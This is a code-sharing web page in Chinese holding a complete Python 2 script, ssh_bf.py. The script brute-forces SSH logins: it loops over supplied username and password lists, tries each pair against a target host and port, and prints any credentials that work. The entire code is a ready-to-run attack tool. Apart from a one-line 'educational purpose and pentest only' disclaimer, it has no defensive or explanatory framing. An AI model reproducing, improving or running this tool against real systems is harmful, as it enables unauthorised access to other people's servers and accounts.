[Python] 穷举法-SSH暴力破解工具 →→→→→进入此内容的聊天室

来自 , 2020-02-19, 写在 Python, 查看 110 次.
URL http://www.code666.cn/view/739cf542
  1. #!/usr/bin/env python
  2. #-*-coding = UTF-8-*-
  3. #author@:dengyongkai
  4. #blog@:blog.sina.com.cn/kaiyongdeng
  5.  
  6.  
  7. import sys
  8. import os
  9. import time
  10. #from threading import Thread
  11.  
  12. try:
  13.     from paramiko import SSHClient
  14.     from paramiko import AutoAddPolicy
  15. except ImportError:
  16.     print G+'''
  17.    You need paramiko module.
  18.    http://www.lag.net/paramiko/    
  19.    Debian/Ubuntu: sudo apt-get install aptitude
  20.                  : sudo aptitude install python-paramiko\n'''+END
  21.     sys.exit(1)
  22.  
  23. docs =  """
  24.                 [*] This was written for educational purpose and pentest only. Use it at your own risk.
  25.                 [*] Author will be not responsible for any damage!                                                              
  26.                 [*] Toolname        : ssh_bf.py
  27.                 [*] Author          : xfk
  28.                 [*] Version         : v.0.2
  29.                 [*] Example of use  : python ssh_bf.py [-T target] [-P port] [-U userslist] [-W wordlist] [-H help]
  30.         """
  31.  
  32.  
  33. if sys.platform == 'linux' or sys.platform == 'linux2':
  34.          clearing = 'clear'
  35. else:  
  36.          clearing = 'cls'
  37. os.system(clearing)
  38.  
  39.  
  40. R = "\033[31m";
  41. G = "\033[32m";
  42. Y = "\033[33m"
  43. END = "\033[0m"
  44.  
  45.  
  46. def logo():
  47.          print G+"\n                    |---------------------------------------------------------------|"
  48.          print "                        |                                                               |"
  49.          print "                        |               blog.sina.com.cn/kaiyongdeng                    |"
  50.          print "                        |                16/05/2012 ssh_bf.py v.0.2                     |"
  51.          print "                        |                  SSH Brute Forcing Tool                       |"
  52.          print "                        |                                                               |"
  53.          print "                        |---------------------------------------------------------------|\n"
  54.          print " \n                             [-] %s\n" % time.ctime()
  55.          print docs+END
  56.  
  57.  
  58. def help():
  59.         print Y+"               [*]-H           --hostname/ip           <>the target hostname or ip address"
  60.         print "         [*]-P           --port                  <>the ssh service port(default is 22)"
  61.         print "         [*]-U           --usernamelist          <>usernames list file"
  62.         print "         [*]-P           --passwordlist          <>passwords list file"
  63.         print "         [*]-H           --help                  <>show help information"
  64.         print "         [*]Usage:python %s [-T target] [-P port] [-U userslist] [-W wordlist] [-H help]"+END
  65.         sys.exit(1)
  66.        
  67. def BruteForce(hostname,port,username,password):
  68.         '''
  69.        Create SSH connection to target
  70.        '''
  71.         ssh = SSHClient()
  72.         ssh.set_missing_host_key_policy(AutoAddPolicy())
  73.         try:
  74.             ssh.connect(hostname, port, username, password, pkey=None, timeout = None, allow_agent=False, look_for_keys=False)
  75.             status = 'ok'
  76.             ssh.close()
  77.         except Exception, e:
  78.             status = 'error'
  79.             pass
  80.         return status
  81.  
  82.  
  83. def makelist(file):
  84.     '''
  85.    Make usernames and passwords lists
  86.    '''
  87.     items = []
  88.  
  89.     try:
  90.         fd = open(file, 'r')
  91.     except IOError:
  92.         print R+'unable to read file \'%s\'' % file+END
  93.         pass
  94.  
  95.     except Exception, e:
  96.         print R+'unknown error'+END
  97.         pass
  98.  
  99.     for line in fd.readlines():
  100.         item = line.replace('\n', '').replace('\r', '')
  101.         items.append(item)
  102.     fd.close() 
  103.     return items
  104.  
  105. def main():
  106.         logo()  
  107. #       print "hello wold"
  108.         try:    
  109.                 for arg in sys.argv:
  110.                         if arg.lower() == '-t' or arg.lower() == '--target':
  111.                                 hostname = str(sys.argv[int(sys.argv[1:].index(arg))+2])
  112.                         if arg.lower() == '-p' or arg.lower() == '--port':
  113.                                 port = sys.argv[int(sys.argv[1:].index(arg))+2]
  114.                         elif arg.lower() == '-u' or arg.lower() == '--userlist':
  115.                                 userlist = sys.argv[int(sys.argv[1:].index(arg))+2]
  116.                         elif arg.lower() == '-w' or arg.lower() == '--wordlist':
  117.                                 wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
  118.                         elif arg.lower() == '-h' or arg.lower() == '--help':
  119.                                 help()
  120.                         elif len(sys.argv) <= 1:
  121.                                 help()
  122.         except:
  123.                 print R+"[-]Cheak your parametars input\n"+END
  124.                 help()
  125.         print G+"\n[!] BruteForcing target ...\n"+END
  126. #        print "here is ok"
  127. #        print hostname,port,wordlist,userlist
  128.         usernamelist = makelist(userlist)
  129.         passwordlist = makelist(wordlist)
  130.  
  131.         print Y+"[*] SSH Brute Force Praparing."
  132.         print "[*] %s user(s) loaded." % str(len(usernamelist))
  133.         print "[*] %s password(s) loaded." % str(len(passwordlist))
  134.         print "[*] Brute Force Is Starting......."+END
  135.         try:
  136.                 for username in usernamelist:
  137.                         for password in passwordlist:
  138.                                 print G+"\n[+]Attempt uaername:%s password:%s..." % (username,password)+END
  139.                                 current = BruteForce(hostname, port, username, password)
  140.                                 if current == 'error':
  141.                                         print R+"[-]O*O The username:%s and password:%s Is Disenbabled...\n" % (username,password)+END
  142. #                                       pass
  143.                                 else:
  144.                                         print G+"\n[+] ^-^ HaHa,We Got It!!!"
  145.                                         print "[+] username: %s" % username
  146.                                         print "[+] password: %s\n" % password+END
  147. #                                       sys.exit(0)
  148.         except:
  149.                 print R+"\n[-] There Is Something Wrong,Pleace Cheak It."
  150.                 print "[-] Exitting.....\n"+END
  151.                 raise
  152.         print Y+"[+] Done.^-^\n"+END
  153.         sys.exit(0)
  154.  
  155.  
  156. if __name__ == "__main__":
  157.         main()
  158. #//python/1180

回复 "穷举法-SSH暴力破解工具"

这儿你可以回复上面这条便签

captcha